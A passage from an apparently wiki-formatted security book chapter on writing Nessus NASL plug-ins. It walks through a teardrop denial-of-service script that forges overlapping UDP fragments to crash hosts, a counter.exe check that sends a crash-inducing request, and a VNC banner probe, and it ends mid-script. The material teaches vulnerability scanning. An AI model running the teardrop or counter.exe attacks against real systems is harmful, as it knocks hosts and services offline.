  script_description(english:desc[&amp;quot;english&amp;quot;], francais:desc[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
 &lt;br /&gt;
  summary[&amp;quot;english&amp;quot;] = &amp;quot;Crashes the remote host using the 'teardrop' attack&amp;quot;;&lt;br /&gt;
  summary[&amp;quot;francais&amp;quot;] = &amp;quot;Plante le serveur distant en utilisant l'attaque 'teardrop'&amp;quot;;&lt;br /&gt;
  script_summary(english:summary[&amp;quot;english&amp;quot;], francais:summary[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
 &lt;br /&gt;
  script_category(ACT_KILL_HOST);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
  script_copyright(english:&amp;quot;This script is Copyright (C) 1999 Renaud Deraison&amp;quot;,&lt;br /&gt;
                 francais:&amp;quot;Ce script est Copyright (C) 1999 Renaud Deraison&amp;quot;);&lt;br /&gt;
  family[&amp;quot;english&amp;quot;] = &amp;quot;Denial of Service&amp;quot;;&lt;br /&gt;
  family[&amp;quot;francais&amp;quot;] = &amp;quot;Déni de service&amp;quot;;&lt;br /&gt;
  script_family(english:family[&amp;quot;english&amp;quot;], francais:family[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
  exit(0);&lt;br /&gt;
 }&lt;br /&gt;
 #&lt;br /&gt;
 # The script code starts here&lt;br /&gt;
 #&lt;br /&gt;
 &lt;br /&gt;
 # Our constants&lt;br /&gt;
 IPH   = 20;&lt;br /&gt;
 UDPH  = 8;&lt;br /&gt;
 PADDING = 0x1c;&lt;br /&gt;
 MAGIC = 0x3;&lt;br /&gt;
 IP_ID = 242;&lt;br /&gt;
 sport = 123;&lt;br /&gt;
 dport = 137;&lt;br /&gt;
 &lt;br /&gt;
 LEN = IPH + UDPH + PADDING;&lt;br /&gt;
 &lt;br /&gt;
 src = this_host( );&lt;br /&gt;
 ip = forge_ip_packet(ip_v : 4,&lt;br /&gt;
                      ip_hl : 5,&lt;br /&gt;
                      ip_tos : 0,&lt;br /&gt;
                      ip_id  : IP_ID,&lt;br /&gt;
                      ip_len : LEN,&lt;br /&gt;
                      ip_off : IP_MF,&lt;br /&gt;
                      ip_p   : IPPROTO_UDP,&lt;br /&gt;
                      ip_src : src,&lt;br /&gt;
                      ip_ttl : 0x40);&lt;br /&gt;
 &lt;br /&gt;
 # Forge the first UDP packet&lt;br /&gt;
 &lt;br /&gt;
 LEN = UDPH + PADDING;&lt;br /&gt;
 udp1 = forge_udp_packet(ip : ip,&lt;br /&gt;
                         uh_sport : sport, uh_dport : dport,&lt;br /&gt;
                         uh_ulen : LEN);&lt;br /&gt;
 &lt;br /&gt;
 # Change some tweaks in the IP packet&lt;br /&gt;
 &lt;br /&gt;
 LEN = IPH + MAGIC + 1;&lt;br /&gt;
 ip = set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);&lt;br /&gt;
 &lt;br /&gt;
 # and forge the second UDP packet&lt;br /&gt;
 LEN = UDPH + PADDING;&lt;br /&gt;
 udp2 =  forge_udp_packet(ip : ip,&lt;br /&gt;
                         uh_sport : sport, uh_dport : dport,&lt;br /&gt;
                         uh_ulen : LEN);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 # Send our UDP packets 500 times&lt;br /&gt;
 &lt;br /&gt;
 start_denial( );&lt;br /&gt;
 send_packet(udp1,udp2, pcap_active:FALSE) x 500;&lt;br /&gt;
 alive = end_denial( );&lt;br /&gt;
 &lt;br /&gt;
 if(!alive){&lt;br /&gt;
                 set_kb_item(name:&amp;quot;Host/dead&amp;quot;, value:TRUE);&lt;br /&gt;
                 security_hole(0);&lt;br /&gt;
                 }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
More information about teardrop vulnerability can be found at ''http://www.insecure.org/sploits/linux.fragmentation.teardrop.html''.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
See the [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#Plug-in Descriptions|Section 1.12.2]] earlier in this chapter for more information about the description functions used in the preceding code.&lt;br /&gt;
&lt;br /&gt;
The plug-in invokes the &amp;lt;tt&amp;gt;forge_ip_packet( )&amp;lt;/tt&amp;gt; function to construct the IP packet that will encapsulate the UDP packet. It accepts the following parameters:&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The actual data or payload to place in the IP packet.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip_hl&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The IP header length. If this parameter is not specified, a default value of &amp;lt;tt&amp;gt;5&amp;lt;/tt&amp;gt; is used.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip_id&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The IP packet ID. If this parameter is not specified, a random value is used.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip_len&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The IP packet length. If this parameter is not specified, the length of &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; plus 20 is used.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip_off&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The fragment offset. If this parameter is not specified, a value of &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; is used.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip_p&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The IP protocol to use. You canuse the following protocol values:&lt;br /&gt;
;&amp;lt;tt&amp;gt;IPPROTO_ICMP&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This variable specifies the Internet Control Message Protocol (ICMP).&lt;br /&gt;
;&amp;lt;tt&amp;gt;IPPROTO_IGMP&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This variable specifies the Internet Group Management Protocol (IGMP).&lt;br /&gt;
;&amp;lt;tt&amp;gt;IPPROTO_IP&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This variable specifies the Internet Protocol (IP).&lt;br /&gt;
;&amp;lt;tt&amp;gt;IPPROTO_TCP&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This variable specifies the Transmission Control Protocol (TCP).&lt;br /&gt;
;&amp;lt;tt&amp;gt;IPPROTO_UDP&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This variable specifies the User Datagram Protocol (UDP).&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip_src&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The source IP address. This parameter should be specified as a string—for example, &amp;lt;tt&amp;gt;192.168.1.1&amp;lt;/tt&amp;gt;.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip_tos&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The type of service to use. If this parameter is not specified, a value of &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; is used.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip_ttl&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Time to live. If this parameter is not specified, a value of 64 is used.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip_v&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The IP version. If this parameter is not specified, a value of 4 is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
For more information on the IP protocol data structure, see RFC 791, located at ''http://www.faqs.org/rfcs/rfc791.html''.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;forge_udp_packet( )&amp;lt;/tt&amp;gt; function is used to construct the &amp;lt;tt&amp;gt;udp1&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;udp2&amp;lt;/tt&amp;gt; UDP packets that will be sent to the target host. The &amp;lt;tt&amp;gt;forge_udp_packet( )&amp;lt;/tt&amp;gt; function accepts the following parameters:&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The actual data or payload to place in the packet.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ip&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The IP datagram structure that is returned after calling &amp;lt;tt&amp;gt;forge_ip_packet( )&amp;lt;/tt&amp;gt;.&lt;br /&gt;
;&amp;lt;tt&amp;gt;uh_dport&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The destination port number.&lt;br /&gt;
;&amp;lt;tt&amp;gt;uh_sport&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The source port number.&lt;br /&gt;
;&amp;lt;tt&amp;gt;uh_ulen&amp;lt;/tt&amp;gt;&lt;br /&gt;
: The data length. If this parameter is not specified, Nessus will compute it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;tip&amp;quot;&amp;gt;&lt;br /&gt;
'''Tip'''&lt;br /&gt;
&lt;br /&gt;
For more information about the UDP protocol data structure, see RFC 768, available at ''http://www.faqs.org/rfcs/rfc768.html''.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Before &amp;lt;tt&amp;gt;udp2&amp;lt;/tt&amp;gt; is constructed, &amp;lt;tt&amp;gt;set_ip_elements( )&amp;lt;/tt&amp;gt; is called to tweak a few IP options in the IP packet contained in &amp;lt;tt&amp;gt;ip&amp;lt;/tt&amp;gt;. The IP offset value is changed to &amp;lt;tt&amp;gt;20&amp;lt;/tt&amp;gt;, as specified by the &amp;lt;tt&amp;gt;MAGIC&amp;lt;/tt&amp;gt; variable. The &amp;lt;tt&amp;gt;set_ip_elements()&amp;lt;/tt&amp;gt; function accepts the same parameters as &amp;lt;tt&amp;gt;forge_ip_packet( )&amp;lt;/tt&amp;gt;, in addition to the parameter &amp;lt;tt&amp;gt;ip&amp;lt;/tt&amp;gt; which should hold the existing IP packet.&lt;br /&gt;
&lt;br /&gt;
After &amp;lt;tt&amp;gt;udp1&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;udp2&amp;lt;/tt&amp;gt; are constructed, the &amp;lt;tt&amp;gt;start_denial( )&amp;lt;/tt&amp;gt; function is called. This function initializes some internal data structures for &amp;lt;tt&amp;gt;end_denial()&amp;lt;/tt&amp;gt; . NASL requires that &amp;lt;tt&amp;gt;start_denial( )&amp;lt;/tt&amp;gt; be called before &amp;lt;tt&amp;gt;end_denial( )&amp;lt;/tt&amp;gt; is invoked. The plug-in sends the UDP packets 500 times by invoking &amp;lt;tt&amp;gt;send_packet()&amp;lt;/tt&amp;gt; as follows:&lt;br /&gt;
&lt;br /&gt;
 send_packet(udp1,udp2, pcap_active:FALSE) x 500;&lt;br /&gt;
&lt;br /&gt;
After the packets are sent, &amp;lt;tt&amp;gt;end_denial( )&amp;lt;/tt&amp;gt; is called to test whether the target host is still alive and responding to network packets. If &amp;lt;tt&amp;gt;end_denial( )&amp;lt;/tt&amp;gt; returns &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt;, the target host can be assumed to have crashed, and the plug-in invokes &amp;lt;tt&amp;gt;security_hole( )&amp;lt;/tt&amp;gt; to alert the Nessus user of the teardrop vulnerability.&lt;br /&gt;
&lt;br /&gt;
=== Scanning for CGI Vulnerabilities ===&lt;br /&gt;
&lt;br /&gt;
Web-based CGI scripts often fail to filter malicious input from external programs or users, and are therefore susceptible to input validation attacks. One such vulnerability was found in a CGI script known as ''counter.exe'' . The script did not perform proper input validation on its parameters, enabling remote users to access arbitrary files from the host running the web server. The &amp;lt;tt&amp;gt;counter.nasl&amp;lt;/tt&amp;gt; plug-in was written to check for this vulnerability, and its source code is as follows:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;#&lt;br /&gt;
# This script was written by John Lampe...j_lampe@bellsouth.net&lt;br /&gt;
#&lt;br /&gt;
# See the Nessus Scripts License for details&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if(description)&lt;br /&gt;
{&lt;br /&gt;
 script_id(11725);&lt;br /&gt;
 script_version (&amp;quot;$Revision: 1.2 $&amp;quot;);&lt;br /&gt;
 script_cve_id(&amp;quot;CAN-1999-1030&amp;quot;);&lt;br /&gt;
 script_bugtraq_id(267);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 name[&amp;quot;english&amp;quot;] = &amp;quot;counter.exe vulnerability&amp;quot;;&lt;br /&gt;
 name[&amp;quot;francais&amp;quot;] = &amp;quot;Counter.exe vulnerability&amp;quot;;&lt;br /&gt;
 script_name(english:name[&amp;quot;english&amp;quot;], francais:name[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
&lt;br /&gt;
 desc[&amp;quot;english&amp;quot;] = &amp;quot;&lt;br /&gt;
The CGI 'counter.exe' exists on this webserver.&lt;br /&gt;
Some versions of this file are vulnerable to remote exploit.&lt;br /&gt;
An attacker may make use of this file to gain access to&lt;br /&gt;
confidential data or escalate their privileges on the Web&lt;br /&gt;
server.&lt;br /&gt;
&lt;br /&gt;
Solution : remove it from the cgi-bin or scripts directory.&lt;br /&gt;
&lt;br /&gt;
More info can be found at: http://www.securityfocus.com/bid/267&lt;br /&gt;
&lt;br /&gt;
Risk factor : Serious&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 script_description(english:desc[&amp;quot;english&amp;quot;]);&lt;br /&gt;
 summary[&amp;quot;english&amp;quot;] = &amp;quot;Checks for the counter.exe file&amp;quot;;&lt;br /&gt;
 script_summary(english:summary[&amp;quot;english&amp;quot;]);&lt;br /&gt;
 script_category(ACT_MIXED_ATTACK); # mixed&lt;br /&gt;
 script_copyright(english:&amp;quot;This script is Copyright (C) 2003 John Lampe&amp;quot;,&lt;br /&gt;
                francais:&amp;quot;Ce script est Copyright (C) 2003 John Lampe&amp;quot;);&lt;br /&gt;
 family[&amp;quot;english&amp;quot;] = &amp;quot;CGI abuses&amp;quot;;&lt;br /&gt;
 family[&amp;quot;francais&amp;quot;] = &amp;quot;Abus de CGI&amp;quot;;&lt;br /&gt;
 script_family(english:family[&amp;quot;english&amp;quot;], francais:family[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
 script_dependencie(&amp;quot;find_service.nes&amp;quot;, &amp;quot;no404.nasl&amp;quot;);&lt;br /&gt;
 script_require_ports(&amp;quot;Services/www&amp;quot;, 80);&lt;br /&gt;
 exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
# The script code starts here&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
include(&amp;quot;http_func.inc&amp;quot;);&lt;br /&gt;
include(&amp;quot;http_keepalive.inc&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
port = get_kb_item(&amp;quot;Services/www&amp;quot;);&lt;br /&gt;
if(!port) port = 80;&lt;br /&gt;
if(!get_port_state(port))exit(0);&lt;br /&gt;
&lt;br /&gt;
directory = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
foreach dir (cgi_dirs( ))&lt;br /&gt;
{&lt;br /&gt;
  if(is_cgi_installed_ka(item:string(dir, &amp;quot;/counter.exe&amp;quot;), port:port))&lt;br /&gt;
  {&lt;br /&gt;
    if (safe_checks( ) == 0)&lt;br /&gt;
    {&lt;br /&gt;
      req = string(&amp;quot;GET &amp;quot;, dir, &amp;quot;/counter.exe?%0A&amp;quot;, &amp;quot;\r\n\r\n&amp;quot;);&lt;br /&gt;
      soc = open_sock_tcp(port);&lt;br /&gt;
      if (soc)&lt;br /&gt;
      {&lt;br /&gt;
        send (socket:soc, data:req);&lt;br /&gt;
        r = http_recv(socket:soc);&lt;br /&gt;
        close(soc);&lt;br /&gt;
      }&lt;br /&gt;
      else exit(0);&lt;br /&gt;
&lt;br /&gt;
      soc2 = open_sock_tcp(port);&lt;br /&gt;
      if (!soc2) security_hole(port);&lt;br /&gt;
      send (socket:soc2, data:req);&lt;br /&gt;
      r = http_recv(socket:soc2);&lt;br /&gt;
      if (!r) security_hole(port);&lt;br /&gt;
      if (egrep (pattern:&amp;quot;.*Access Violation.*&amp;quot;, string:r) ) security_hole(port);&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      mymsg = string(&amp;quot;The file counter.exe seems to be present on the server\n&amp;quot;);&lt;br /&gt;
      mymsg = mymsg + string(&amp;quot;As safe_checks were enabled, this may be a false positive\n&amp;quot;);&lt;br /&gt;
      security_hole(port:port, data:mymsg);&lt;br /&gt;
    }&lt;br /&gt;
        }&lt;br /&gt;
}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The plug-in calls appropriate functions to provide users with appropriate information about itself, as described in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#Plug-in Descriptions|Section 1.12.2]] earlier in this chapter. The plug-in tests to see if the remote host is running an HTTP server by querying the Knowledge Base for &amp;lt;tt&amp;gt;Services/www&amp;lt;/tt&amp;gt; . A plug-in that might have executed previously can set the value of &amp;lt;tt&amp;gt;Services/www&amp;lt;/tt&amp;gt; to a port number where an HTTP server was found. If the &amp;lt;tt&amp;gt;get_kb_item( )&amp;lt;/tt&amp;gt; function does not return a value, 80 is assumed.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;get_port_state( )&amp;lt;/tt&amp;gt; function returns &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; if the given port is closed, in which case the plug-in exits by calling &amp;lt;tt&amp;gt;exit(0)&amp;lt;/tt&amp;gt;. Otherwise, &amp;lt;tt&amp;gt;cgi_dirs( )&amp;lt;/tt&amp;gt; is invoked within a &amp;lt;tt&amp;gt;foreach&amp;lt;/tt&amp;gt; block to iterate through known directories where CGI scripts are commonly known to exist (for example: ''/scripts'' and ''/cgi-bin''). For each directory returned by &amp;lt;tt&amp;gt;cgi_dirs( )&amp;lt;/tt&amp;gt;, the plug-in checks for the existence of ''counter.exe'' by invoking &amp;lt;tt&amp;gt;is_cgi_installed_ka()&amp;lt;/tt&amp;gt; . The &amp;lt;tt&amp;gt;is_cgi_installed_ka()&amp;lt;/tt&amp;gt; function connects to the web server and requests the given file, returning &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt; if it is found and &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; otherwise. The &amp;lt;tt&amp;gt;counter.nasl&amp;lt;/tt&amp;gt; plug-in calls &amp;lt;tt&amp;gt;safe_checks()&amp;lt;/tt&amp;gt; to check if the user has enabled the &amp;quot;Safe checks&amp;quot; option. If the user has enabled this option, the plug-in returns by calling &amp;lt;tt&amp;gt;security_hole( )&amp;lt;/tt&amp;gt; to indicate that the vulnerable CGI has been found. If the user has not enabled the &amp;quot;Safe checks&amp;quot; option, &amp;lt;tt&amp;gt;safe_checks( )&amp;lt;/tt&amp;gt; returns &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt;, and the plug-in proceeds to send requests such as the following to the web server:&lt;br /&gt;
&lt;br /&gt;
 GET /cgi-bin/counter.exe?%0A&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;%0A&amp;lt;/tt&amp;gt; character is in hexadecimal form, and is equivalent to the linefeed character. Upon a response from the web server, the plug-in checks to see if the response contains the string &amp;lt;tt&amp;gt;Access Violation&amp;lt;/tt&amp;gt;, which indicates the CGI is vulnerable. If this is the case, &amp;lt;tt&amp;gt;counter.nasl&amp;lt;/tt&amp;gt; will invoke &amp;lt;tt&amp;gt;security_hole( )&amp;lt;/tt&amp;gt; to report the issue. Following is the plug-in code responsible for this:&lt;br /&gt;
&lt;br /&gt;
 if (egrep (pattern:&amp;quot;.*Access Violation.*&amp;quot;, string:r) ) security_hole(port);&lt;br /&gt;
&lt;br /&gt;
=== Probing for VNC Servers ===&lt;br /&gt;
&lt;br /&gt;
Virtual Network Computing (VNC) software allows you to remotely control another host via the network. For example, if you are running the server component of VNC on a Windows XP machine, you can access the desktop of the machine remotely from a Linux host running a VNC client. For more information about VNC, visit ''http://www.realvnc.com/''.&lt;br /&gt;
&lt;br /&gt;
The VNC server runs on port 5901 by default. If port 5901 is not available, the server attempts to bind to the next consecutive port, and so on. When the client connects to the VNC server, the server will first output a banner string beginning with &amp;lt;tt&amp;gt;RFB&amp;lt;/tt&amp;gt;. To test this, use the &amp;lt;tt&amp;gt;telnet&amp;lt;/tt&amp;gt; client to connect directly to the TCP port being used by the VNC server:&lt;br /&gt;
&lt;br /&gt;
 [bash]$ '''telnet 192.168.1.1 5901'''&lt;br /&gt;
 Trying 192.168.1.1...&lt;br /&gt;
 Connected to 192.168.1.1.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 RFB 003.007&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;vnc.nasl&amp;lt;/tt&amp;gt; plug-in aims to detect VNC servers on the remote host:&lt;br /&gt;
&lt;br /&gt;
 #&lt;br /&gt;
 # This script was written by Patrick Naubert&lt;br /&gt;
 # This is version 2.0 of this script.&lt;br /&gt;
 #&lt;br /&gt;
 # Modified by Georges Dagousset &amp;lt;georges.dagousset@alert4web.com&amp;gt; :&lt;br /&gt;
 #       - warning with the version&lt;br /&gt;
 #       - detection of other version&lt;br /&gt;
 #       - default port for single test&lt;br /&gt;
 #&lt;br /&gt;
 # See the Nessus Scripts License for details&lt;br /&gt;
 #&lt;br /&gt;
 &lt;br /&gt;
 if(description)&lt;br /&gt;
 {&lt;br /&gt;
  script_id(10342);&lt;br /&gt;
  script_version (&amp;quot;$Revision: 1.2 $&amp;quot;);&lt;br /&gt;
 # script_cve_id(&amp;quot;CVE-MAP-NOMATCH&amp;quot;);&lt;br /&gt;
  name[&amp;quot;english&amp;quot;] = &amp;quot;Check for VNC&amp;quot;;&lt;br /&gt;
  name[&amp;quot;francais&amp;quot;] = &amp;quot;Check for VNC&amp;quot;;&lt;br /&gt;
  script_name(english:name[&amp;quot;english&amp;quot;], francais:name[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
 &lt;br /&gt;
  desc[&amp;quot;english&amp;quot;] = &amp;quot;&lt;br /&gt;
 The remote server is running VNC.&lt;br /&gt;
 VNC permits a console to be displayed remotely.&lt;br /&gt;
 &lt;br /&gt;
 Solution: Disable VNC access from the network by&lt;br /&gt;
 using a firewall, or stop VNC service if not needed.&lt;br /&gt;
 &lt;br /&gt;
 Risk factor : Medium&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
  desc[&amp;quot;francais&amp;quot;] = &amp;quot;&lt;br /&gt;
 Le serveur distant fait tourner VNC.&lt;br /&gt;
 VNC permet d'acceder la console a distance.&lt;br /&gt;
 &lt;br /&gt;
 Solution: Protégez l'accès à VNC grace à un firewall,&lt;br /&gt;
 ou arretez le service VNC si il n'est pas desire.&lt;br /&gt;
 &lt;br /&gt;
 Facteur de risque : Moyen&amp;quot;;&lt;br /&gt;
  script_description(english:desc[&amp;quot;english&amp;quot;], francais:desc[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
  summary[&amp;quot;english&amp;quot;] = &amp;quot;Checks for VNC&amp;quot;;&lt;br /&gt;
  summary[&amp;quot;francais&amp;quot;] = &amp;quot;Vérifie la présence de VNC&amp;quot;;&lt;br /&gt;
  script_summary(english:summary[&amp;quot;english&amp;quot;],&lt;br /&gt;
 francais:summary[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
 &lt;br /&gt;
  script_category(ACT_GATHER_INFO);&lt;br /&gt;
 &lt;br /&gt;
  script_copyright(english:&amp;quot;This script is Copyright (C) 2000 Patrick Naubert&amp;quot;,&lt;br /&gt;
                 francais:&amp;quot;Ce script est Copyright (C) 2000 Patrick Naubert&amp;quot;);&lt;br /&gt;
  family[&amp;quot;english&amp;quot;] = &amp;quot;Backdoors&amp;quot;;&lt;br /&gt;
  family[&amp;quot;francais&amp;quot;] = &amp;quot;Backdoors&amp;quot;;&lt;br /&gt;
  script_family(english:family[&amp;quot;english&amp;quot;], francais:family[&amp;quot;francais&amp;quot;]);&lt;br /&gt;
  script_dependencie(&amp;quot;find_service.nes&amp;quot;);&lt;br /&gt;
  script_require_ports(&amp;quot;Services/vnc&amp;quot;, 5900, 5901, 5902);&lt;br /&gt;
  exit(0);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 #&lt;br /&gt;
 # The script code starts here&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 function probe(port)&lt;br /&gt;
 {&lt;br /&gt;
  if(get_port_state(port))&lt;br /&gt;
  {&lt;br /&gt;
   soc = open_sock_tcp(port);&lt;br /&gt;
   if(soc)&lt;br /&gt;
   {&lt;br /&gt;
    r = recv(socket:soc, length:1024);&lt;br /&gt;
    version = egrep(pattern:&amp;quot;^RFB 00[0-9]\.00[0-9]$&amp;quot;,string:r);&lt;br /&gt;
    if(version)&lt;br /&gt;
    {&lt;br /&gt;
       security_warning(port);&lt;br /&gt;
       security_warning(port:port, data:string(&amp;quot;Version of VNC Protocol is: &amp;quot;,version));&lt;br /&gt;
    }&lt;br /&gt;
    close(soc);&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 port = get_kb_item(&amp;quot;Services/vnc&amp;quot;);&lt;br /&gt;
 if(port)probe(port:port);&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  for (port=5900; port &amp;lt;= 5902; port = port+1) {&lt;br /&gt;
   probe(port:port);&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
As usual, the plug-in calls appropriate functions to provide users with appropriate information about itself. The description functions are described in the [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#Plug-in Descriptions|Section 1.12.2]] section earlier in this chapter. The plug-in tests to see if the remote host is running a VNC server by querying the Knowledge Base for &amp;lt;tt&amp;gt;Services/vnc&amp;lt;/tt&amp;gt;. A plug-in that might have executed before can set the value of &amp;lt;tt&amp;gt;Services/vnc&amp;lt;/tt&amp;gt; to a port number where a VNC server was found. If the &amp;lt;tt&amp;gt;get_kb_item( )&amp;lt;/tt&amp;gt; function does not return a value, a &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loop iterates through ports 5900, 5901, and 5902. For every port, the function &amp;lt;tt&amp;gt;probe( )&amp;lt;/tt&amp;gt; is called. The &amp;lt;tt&amp;gt;probe()&amp;lt;/tt&amp;gt; function invokes &amp;lt;tt&amp;gt;get_port_state( )&amp;lt;/tt&amp;gt;. This &amp;lt;tt&amp;gt;get_port_state()&amp;lt;/tt&amp;gt; function returns &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; if the given port is closed, in which case the plug-in exits by calling &amp;lt;tt&amp;gt;exit(0)&amp;lt;/tt&amp;gt;. Otherwise, &amp;lt;tt&amp;gt;open_sock_tcp( )&amp;lt;/tt&amp;gt; is used to connect to the given port number. The &amp;lt;tt&amp;gt;open_sock_tcp( )&amp;lt;/tt&amp;gt; takes in one required parameter, the port number (&amp;lt;tt&amp;gt;port&amp;lt;/tt&amp;gt;). Optional parameters to this function are &amp;lt;tt&amp;gt;timeout&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;transport&amp;lt;/tt&amp;gt;. You can use the &amp;lt;tt&amp;gt;timeout&amp;lt;/tt&amp;gt; parameter to set a TCP timeout value, and you can use the &amp;lt;tt&amp;gt;transport&amp;lt;/tt&amp;gt; parameter to set an applicable Nessus transport as defined in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for Nessus#Network Encapsulation|Section 1.11.4]]. If the given port number is closed, &amp;lt;tt&amp;gt;open_sock_tcp( )&amp;lt;/tt&amp;gt; returns &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt;, in which case the &amp;lt;tt&amp;gt;probe( )&amp;lt;/tt&amp;gt; function simply returns. If the target port is open, &amp;lt;tt&amp;gt;open_sock_tcp( )&amp;lt;/tt&amp;gt; returns &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt;. The &amp;lt;tt&amp;gt;recv( )&amp;lt;/tt&amp;gt; function is used to receive data from the TCP port. Using the &amp;lt;tt&amp;gt;egrep()&amp;lt;/tt&amp;gt; function, the data is then checked to see if it corresponds with the VNC banner. If a match is found, the plug-in assumes a VNC server is listening on the remote port and calls &amp;lt;tt&amp;gt;security_warning( )&amp;lt;/tt&amp;gt; to notify the Nessus user.&lt;br /&gt;
&lt;br /&gt;
=== Installing Your Own Plug-in ===&lt;br /&gt;
&lt;br /&gt;
The previous topics addressed the NASL API, and you have seen how to use NASL to write scripts to check for specific vulnerabilities. This section shows you how to write a simple plug-in from scratch, and how to install the plug-in.&lt;br /&gt;
&lt;br /&gt;
For the purposes of this exercise, let's assume the plug-in aims to discover the following vulnerability: a home-grown web application is known to serve a file, ''/src/passwd.inc'' , when the web browser requests it via a URL such as ''http://host/src/passwd.inc''. Let's also assume the ''passwd.inc'' file contains usernames and passwords. To check for our vulnerability, we simply need to call &amp;lt;tt&amp;gt;is_cgi_installed()&amp;lt;/tt&amp;gt; to test for the presence of ''/src/passwd.inc''. Here is the appropriate NASL script to do so:&lt;br /&gt;
&lt;br /&gt;
 if (description)&lt;br /&gt;
 {&lt;br /&gt;
    script_id(99999);&lt;br /&gt;
